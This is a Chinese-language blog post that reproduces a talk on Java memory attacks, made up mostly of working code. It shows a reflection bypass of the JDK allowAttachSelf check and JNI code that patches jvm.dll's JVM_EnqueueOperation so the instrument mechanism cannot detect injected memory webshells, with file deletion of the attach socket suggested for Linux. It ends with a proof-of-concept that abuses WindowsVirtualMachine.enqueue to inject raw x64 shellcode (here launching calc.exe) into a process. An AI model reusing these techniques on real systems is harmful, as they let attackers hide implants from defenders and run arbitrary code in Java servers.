議題解析與復現--《Java記憶體攻擊技術漫談》(一)

xyylll發表於2021-11-02

解析與復現議題

Java記憶體攻擊技術漫談

https://mp.weixin.qq.com/s/JIjBjULjFnKDjEhzVAtxhw

allowAttachSelf繞過

在Java9及以後的版本不允許SelfAttach(即無法attach自身的程式),如圖

image-20211029091820625

除錯一下,發現這裡ALLOW_ATTACH_SELF欄位設定為false

image-20211029093656259

步入getSavedProperty,最終到ImmitableCollections中的table中去查詢allowAttachSelf,找不到,返回空

image-20211029094925925

之後,這裡進行了ALLOW_ATTACH_SELF欄位的檢測,若不為true則丟擲異常

image-20211029093254605

這樣看來有兩種方法對這個檢驗進行繞過一種是使用反射直接更改HotSpotVirtualMachine中的ALLOW_ATTACH_SELF欄位,另一種是想辦法在ImmitableCollections中的table中新增jdk.attach.allowAttachSelf。

rebeyond師傅使用的是第一種方法。

        Field field=cls.getDeclaredField("ALLOW_ATTACH_SELF");
        field.setAccessible(true);
        Field modifiersField=Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field,field.getModifiers()&~Modifier.FINAL);
        field.setBoolean(null,true);

這樣便完成了allowAttachSelf機制的繞過。

記憶體馬防檢測

instrument機制實現類agent記憶體馬的注入,但是也可以實現對記憶體馬進行檢測。

這裡給出的方法就是注入記憶體馬後將instrument機制破壞的,使其無法檢測程式的類位元組碼等。

以下為instrument的工作流程

image-20211029105648919

1.檢測工具作為Client,根據指定的PID,向目標JVM發起attach請求;
2.JVM收到請求後,做一些校驗(比如上文提到的jdk.attach.allowAttachSelf的校驗),校驗通過後,會開啟一個IPC通道。
3.接下來Client會封裝一個名為AttachOperation的C++物件,傳送給Server端;
4.Server端會把Client發過來的AttachOperation物件放入一個佇列;
5.Server端另外一個執行緒會從佇列中取出AttachOperation物件並解析,然後執行對應的操作,並把執行結果通過IPC通道返回Client。

windows端

現在loadAgent處下斷點,步入除錯。

image-20211029111517246

步入,執行execute方法

image-20211029112529339

看一下execute方法

  InputStream execute(String cmd, Object ... args)
        throws AgentLoadException, IOException
    {
        assert args.length <= 3;        // includes null

        // create a pipe using a random name
        Random rnd = new Random();
        int r = rnd.nextInt();
        String pipeprefix = "\\\\.\\pipe\\javatool";
        String pipename = pipeprefix + r;
        long hPipe;
        try {
            hPipe = createPipe(pipename);//建立pipe管道
        } catch (IOException ce) {
            // Retry with another random pipe name.
            r = rnd.nextInt();
            pipename = pipeprefix + r;
            hPipe = createPipe(pipename);
        }

        // check if we are detached - in theory it's possible that detach is invoked
        // after this check but before we enqueue the command.
        if (hProcess == -1) {
            closePipe(hPipe);
            throw new IOException("Detached from target VM");
        }

        try {
            // enqueue the command to the process
            enqueue(hProcess, stub, cmd, pipename, args);//呼叫enqueue方法
		....

這個enqueue是native方法。

image-20211029153241852

看一下這個方法的原始碼

/*
 * Class:     sun_tools_attach_WindowsVirtualMachine
 * Method:    enqueue
 * Signature: (JZLjava/lang/String;[Ljava/lang/Object;)V
 */
JNIEXPORT void JNICALL Java_sun_tools_attach_WindowsVirtualMachine_enqueue
  (JNIEnv *env, jclass cls, jlong handle, jbyteArray stub, jstring cmd,
   jstring pipename, jobjectArray args)
{
    DataBlock data;
    DataBlock* pData;
    DWORD* pCode;
    DWORD stubLen;
    HANDLE hProcess, hThread;
    jint argsLen, i;
    jbyte* stubCode;
    jboolean isCopy;

    /*
     * Setup data to copy to target process
     */
    data._GetModuleHandle = _GetModuleHandle;
    data._GetProcAddress = _GetProcAddress;

    strcpy(data.jvmLib, "jvm");
    strcpy(data.func1, "JVM_EnqueueOperation");
    strcpy(data.func2, "_JVM_EnqueueOperation@20");

    /*
     * Command and arguments
     */
    jstring_to_cstring(env, cmd, data.cmd, MAX_CMD_LENGTH);
    argsLen = (*env)->GetArrayLength(env, args);

    if (argsLen > 0) {
        if (argsLen > MAX_ARGS) {
            JNU_ThrowInternalError(env, "Too many arguments");
        }
        for (i=0; i<argsLen; i++) {
            jobject obj = (*env)->GetObjectArrayElement(env, args, i);
            if (obj == NULL) {
                data.arg[i][0] = '\0';
            } else {
                jstring_to_cstring(env, obj, data.arg[i], MAX_ARG_LENGTH);
            }
            if ((*env)->ExceptionOccurred(env)) return;
        }
    }
    for (i=argsLen; i<MAX_ARGS; i++) {
        data.arg[i][0] = '\0';
    }

    /* pipe name */
    jstring_to_cstring(env, pipename, data.pipename, MAX_PIPE_NAME_LENGTH);
	//以上都是引數的轉換,從java轉化為c
    /*
     * Allocate memory in target process for data and code stub
     * (assumed aligned and matches architecture of target process)
     */
    hProcess = (HANDLE)handle;

    pData = (DataBlock*) VirtualAllocEx( hProcess, 0, sizeof(DataBlock), MEM_COMMIT, PAGE_READWRITE );//在目標程式記憶體分配空間,大小為DataBlock
    if (pData == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pData, (LPCVOID)&data, (SIZE_T)sizeof(DataBlock), NULL );
//將data的內容寫入到之前分配的空間

    stubLen = (DWORD)(*env)->GetArrayLength(env, stub);
    stubCode = (*env)->GetByteArrayElements(env, stub, &isCopy);

    pCode = (PDWORD) VirtualAllocEx( hProcess, 0, stubLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    //在目標程式記憶體分配空間,大小為stubLen
    if (pCode == NULL) {
        JNU_ThrowIOExceptionWithLastError(env, "VirtualAllocEx failed");
        VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
        return;
    }
    WriteProcessMemory( hProcess, (LPVOID)pCode, (LPCVOID)stubCode, (SIZE_T)stubLen, NULL );
    ////將stubCode的內容寫入到之前分配的空間
    if (isCopy) {
        (*env)->ReleaseByteArrayElements(env, stub, stubCode, JNI_ABORT);
    }

    /*
     * Create thread in target process to execute code
     */
    //下面就是去執行目標程式中的程式碼
    hThread = CreateRemoteThread( hProcess,
                                  NULL,
                                  0,
                                  (LPTHREAD_START_ROUTINE) pCode,
                                  pData,
                                  0,
                                  NULL );
    if (hThread != NULL) {
        if (WaitForSingleObject(hThread, INFINITE) != WAIT_OBJECT_0) {
            JNU_ThrowIOExceptionWithLastError(env, "WaitForSingleObject failed");
        } else {
            DWORD exitCode;
            GetExitCodeThread(hThread, &exitCode);
            if (exitCode) {
                switch (exitCode) {
                    case ERR_OPEN_JVM_FAIL :
                        JNU_ThrowIOException(env,
                            "jvm.dll not loaded by target process");
                        break;
                    case ERR_GET_ENQUEUE_FUNC_FAIL :
                        JNU_ThrowIOException(env,
                            "Unable to enqueue operation: the target VM does not support attach mechanism");
                        break;
                    default :
                        JNU_ThrowInternalError(env,
                            "Remote thread failed for unknown reason");
                }
            }
        }
        CloseHandle(hThread);
    } else {
        if (GetLastError() == ERROR_NOT_ENOUGH_MEMORY) {
            //
            // This error will occur when attaching to a process belonging to
            // another terminal session. See "Remarks":
            // http://msdn.microsoft.com/en-us/library/ms682437%28VS.85%29.aspx
            //
            JNU_ThrowIOException(env,
                "Insufficient memory or insufficient privileges to attach");
        } else {
            JNU_ThrowIOExceptionWithLastError(env, "CreateRemoteThread failed");
        }
    }

    VirtualFreeEx(hProcess, pCode, 0, MEM_RELEASE);
    VirtualFreeEx(hProcess, pData, 0, MEM_RELEASE);
}

這裡pcode與pdata值得分析。

pcode是從stub中提取出的在目標程式執行的程式碼,而pdata是他的引數。

我們來看一下stub,以下是生成stub的方法generateStub

JNIEXPORT jbyteArray JNICALL Java_sun_tools_attach_WindowsVirtualMachine_generateStub
  (JNIEnv *env, jclass cls)
{
    /*
     * We should replace this with a real stub generator at some point
     */
    DWORD len;
    jbyteArray array;

    len = (DWORD)((LPBYTE) jvm_attach_thread_func_end - (LPBYTE) jvm_attach_thread_func);//從這裡可以看出stub的大小就是jvm_attach_thread_func方法的大小,那麼基本上可以確定pcode就是jvm_attach_thread_func方法
    array= (*env)->NewByteArray(env, (jsize)len);
    if (array != NULL) {
        (*env)->SetByteArrayRegion(env, array, 0, (jint)len, (jbyte*)&jvm_attach_thread_func);
    }
    return array;
}

我們來看一下在服務側執行的pcode,即jvm_attach_thread_func

DWORD WINAPI jvm_attach_thread_func(DataBlock *pData)
{
    HINSTANCE h;
    EnqueueOperationFunc addr;

    h = pData->_GetModuleHandle(pData->jvmLib);//jvmLib=jvm
    if (h == NULL) {
        return ERR_OPEN_JVM_FAIL;
    }

    addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func1));//func1=JVM_EnqueueOperation
    if (addr == NULL) {
        addr = (EnqueueOperationFunc)(pData->_GetProcAddress(h, pData->func2));//func2=_JVM_EnqueueOperation@20
    }
    if (addr == NULL) {
        return ERR_GET_ENQUEUE_FUNC_FAIL;
    }

    /* "null" command - does nothing in the target VM */
    if (pData->cmd[0] == '\0') {
        return 0;
    } else {
        return (*addr)(pData->cmd, pData->arg[0], pData->arg[1], pData->arg[2], pData->pipename);//執行指定func1或func2
    }
}

我們來梳理一下整個流程

image-20211029192343364

現在看來只要將jvmLib匯出的兩個函式JVM_EnqueueOperation和_JVM_EnqueueOperation@20 NOP掉即可完成instrument流程的破壞。

來看一下rebeyond師傅的處理方法

用JNI,核心程式碼如下:

unsigned char buf[]="\xc2\x14\x00"; //32,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOID dst=GetProcAddress(hModule,"_JVM_EnqueueOperation@20");
DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 3, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 3, NULL);VirtualProtectEx(GetCurrentProcess(), dst, 3, old, &old);}

/*unsigned char buf[]="\xc3"; //64,direct return enqueue function
HINSTANCE hModule = LoadLibrary(L"jvm.dll");
//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
LPVOIDdst=GetProcAddress(hModule,"JVM_EnqueueOperation");
//printf("ConnectNamedPipe:%p",dst);DWORD old;
if (VirtualProtectEx(GetCurrentProcess(),dst, 1, PAGE_EXECUTE_READWRITE, &old)){WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
}*/

JNI 入門教程 | 菜鳥教程 (runoob.com)

復現踩坑記錄

​ 這裡注意生成dll的平臺要與執行java程式的平臺相同,否則可能會不相容。

​ 直接執行native方法可以執行,但是一旦使用agent attch到目標程式就會出現Can't find dependent libraries問題。發現是生成dll使用的專案出錯,需要使用動態dll連結庫

image

具體程式碼:

dll生成程式碼

#include "pch.h"
#include "Inst.h"
#include "killinst.h"

JNIEXPORT void JNICALL Java_killinst_testHello
(JNIEnv*, jobject) {
	printf("hello");
}
/*
 * Class:     killinst
 * Method:    defendinst
 * Signature: ()V
 */
JNIEXPORT void JNICALL Java_killinst_defendinst
(JNIEnv*, jobject) {
	unsigned char buf[] = "\xc3"; //64,direct return enqueue function
	HINSTANCE hModule = LoadLibrary(L"jvm.dll");
	//LPVOID dst=GetProcAddress(hModule,"ConnectNamedPipe");
	LPVOID dst = GetProcAddress(hModule, "JVM_EnqueueOperation");
	printf("JVM_EnqueueOperation:%p", dst);
	DWORD old;
	if (VirtualProtectEx(GetCurrentProcess(), dst, 1, PAGE_EXECUTE_READWRITE, &old)) {
		WriteProcessMemory(GetCurrentProcess(), dst, buf, 1, NULL);
		VirtualProtectEx(GetCurrentProcess(), dst, 1, old, &old);
	}
}

java程式碼

public class killinst {
    public native void testHello();
    public native void defendinst();
}

呼叫dll程式碼

 System.load("C://Users//xyy//source//repos//INST//x64//Release//INST.dll");
       killinst killinst = new killinst();
        killinst.testHello();
        killinst.defendinst();

成功使得attach失敗

image-20211102101211360

linux端

在Linux平臺上,IPC通訊採用的是UNIX Domain Socket,因此想破壞Linux平臺下的instrument attach流程還是比較簡單的,只要把對應的UNIX Domain Socket檔案刪掉就可以了。刪掉後,我們嘗試對目標JVM進行attach,便會提示無法attach

Java原生程式注入(可以pop calc ,注入木馬等)

之前在防檢測的時候,我們發現了enqueue方法。

結合之前的分析enqueue使用stub給目標註入了特定的程式碼並createRemoteThread執行程式碼。

image-20211029192343364

本來的stub是執行一個將AttachOperation的操作,由native生成,但是stub是作為引數傳入enqueue函式的,因此可以通過反射來改變stub引數,利用enqueue方法實現在目標程式注入特定程式碼。

附上rebeyond師傅的poc:

import java.lang.reflect.Method;

public class ThreadMain   {    public static void main(String[] args) throws Exception {        System.loadLibrary("attach");      
Class cls=Class.forName("sun.tools.attach.WindowsVirtualMachine");      
for (Method m:cls.getDeclaredMethods())   
{          
if (m.getName().equals("enqueue"))         
{               
long hProcess=-1;     
//hProcess=getHandleByPid(30244);       
byte buf[] = new byte[]   //pop calc.exe           
{                         
(byte) 0xfc, (byte) 0x48, (byte) 0x83, (byte) 0xe4, (byte) 0xf0, (byte) 0xe8, (byte) 0xc0, (byte) 0x00,                            
(byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0x51, (byte) 0x41, (byte) 0x50, (byte) 0x52, (byte) 0x51,                            
(byte) 0x56, (byte) 0x48, (byte) 0x31, (byte) 0xd2, (byte) 0x65, (byte) 0x48, (byte) 0x8b, (byte) 0x52,                     
(byte) 0x60, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x18, (byte) 0x48, (byte) 0x8b, (byte) 0x52,               
(byte) 0x20, (byte) 0x48, (byte) 0x8b, (byte) 0x72, (byte) 0x50, (byte) 0x48, (byte) 0x0f, (byte) 0xb7,              
(byte) 0x4a, (byte) 0x4a, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,          
(byte) 0xac, (byte) 0x3c, (byte) 0x61, (byte) 0x7c, (byte) 0x02, (byte) 0x2c, (byte) 0x20, (byte) 0x41,        
(byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1, (byte) 0xe2, (byte) 0xed,                    
(byte) 0x52, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0x8b, (byte) 0x52, (byte) 0x20, (byte) 0x8b,                  
(byte) 0x42, (byte) 0x3c, (byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x8b, (byte) 0x80, (byte) 0x88,                     
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x85, (byte) 0xc0, (byte) 0x74, (byte) 0x67,                       
(byte) 0x48, (byte) 0x01, (byte) 0xd0, (byte) 0x50, (byte) 0x8b, (byte) 0x48, (byte) 0x18, (byte) 0x44,              
(byte) 0x8b, (byte) 0x40, (byte) 0x20, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0xe3, (byte) 0x56,                 
(byte) 0x48, (byte) 0xff, (byte) 0xc9, (byte) 0x41, (byte) 0x8b, (byte) 0x34, (byte) 0x88, (byte) 0x48,                  
(byte) 0x01, (byte) 0xd6, (byte) 0x4d, (byte) 0x31, (byte) 0xc9, (byte) 0x48, (byte) 0x31, (byte) 0xc0,                   
(byte) 0xac, (byte) 0x41, (byte) 0xc1, (byte) 0xc9, (byte) 0x0d, (byte) 0x41, (byte) 0x01, (byte) 0xc1,                   
(byte) 0x38, (byte) 0xe0, (byte) 0x75, (byte) 0xf1, (byte) 0x4c, (byte) 0x03, (byte) 0x4c, (byte) 0x24,                     
(byte) 0x08, (byte) 0x45, (byte) 0x39, (byte) 0xd1, (byte) 0x75, (byte) 0xd8, (byte) 0x58, (byte) 0x44,                       
(byte) 0x8b, (byte) 0x40, (byte) 0x24, (byte) 0x49, (byte) 0x01, (byte) 0xd0, (byte) 0x66, (byte) 0x41,                    
(byte) 0x8b, (byte) 0x0c, (byte) 0x48, (byte) 0x44, (byte) 0x8b, (byte) 0x40, (byte) 0x1c, (byte) 0x49,                   
(byte) 0x01, (byte) 0xd0, (byte) 0x41, (byte) 0x8b, (byte) 0x04, (byte) 0x88, (byte) 0x48, (byte) 0x01,                    
(byte) 0xd0, (byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x58, (byte) 0x5e, (byte) 0x59, (byte) 0x5a,                   
(byte) 0x41, (byte) 0x58, (byte) 0x41, (byte) 0x59, (byte) 0x41, (byte) 0x5a, (byte) 0x48, (byte) 0x83,                 
(byte) 0xec, (byte) 0x20, (byte) 0x41, (byte) 0x52, (byte) 0xff, (byte) 0xe0, (byte) 0x58, (byte) 0x41,                  
(byte) 0x59, (byte) 0x5a, (byte) 0x48, (byte) 0x8b, (byte) 0x12, (byte) 0xe9, (byte) 0x57, (byte) 0xff,                    
(byte) 0xff, (byte) 0xff, (byte) 0x5d, (byte) 0x48, (byte) 0xba, (byte) 0x01, (byte) 0x00, (byte) 0x00,                      
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x48, (byte) 0x8d, (byte) 0x8d,                    
(byte) 0x01, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x41, (byte) 0xba, (byte) 0x31, (byte) 0x8b,                  
(byte) 0x6f, (byte) 0x87, (byte) 0xff, (byte) 0xd5, (byte) 0xbb, (byte) 0xf0, (byte) 0xb5, (byte) 0xa2,                   
(byte) 0x56, (byte) 0x41, (byte) 0xba, (byte) 0xa6, (byte) 0x95, (byte) 0xbd, (byte) 0x9d, (byte) 0xff,                  
(byte) 0xd5, (byte) 0x48, (byte) 0x83, (byte) 0xc4, (byte) 0x28, (byte) 0x3c, (byte) 0x06, (byte) 0x7c,               
(byte) 0x0a, (byte) 0x80, (byte) 0xfb, (byte) 0xe0, (byte) 0x75, (byte) 0x05, (byte) 0xbb, (byte) 0x47,              
(byte) 0x13, (byte) 0x72, (byte) 0x6f, (byte) 0x6a, (byte) 0x00, (byte) 0x59, (byte) 0x41, (byte) 0x89,                 
(byte) 0xda, (byte) 0xff, (byte) 0xd5, (byte) 0x63, (byte) 0x61, (byte) 0x6c, (byte) 0x63, (byte) 0x2e,                
(byte) 0x65, (byte) 0x78, (byte) 0x65, (byte) 0x00                        };

             String cmd="load";String pipeName="test";           
             m.setAccessible(true);             
             Object result=m.invoke(cls,new Object[]{hProcess,buf,cmd,pipeName,new Object[]{}});          
             System.out.println("result:"+result);            }


        }     
        Thread.sleep(4000);  
        }    
        public static long getHandleByPid(int pid) 
        {       
        Class cls= null;    
        long hProcess=-1;   
        try {     
        cls = Class.forName("sun.tools.attach.WindowsVirtualMachine");     
        for (Method m:cls.getDeclaredMethods()) {         
        if (m.getName().equals("openProcess"))        
        {              
        m.setAccessible(true);      
        Object result=m.invoke(cls,pid);        
        System.out.println("pid :"+result);                    hProcess=Long.parseLong(result.toString());      
        }      
        }     
        } catch (Exception e) {  
        e.printStackTrace();   
        }     
        return hProcess;    }}

成功注入

image-20211102110835037

我們實現了Windows平臺上的Java遠端程式注入。另外,這個技術還有個額外效果,那就是當注入程式的PID設定為-1的時候,可以往當前Java程式注入任意Native程式碼,以實現不用JNI執行任意Native程式碼的效果。這樣就不需要再單獨編寫JNI庫來執行Native程式碼了,也就是說,上文提到的記憶體馬防檢測機制,不需要依賴JNI,只要純Java程式碼也可以實現。

相關文章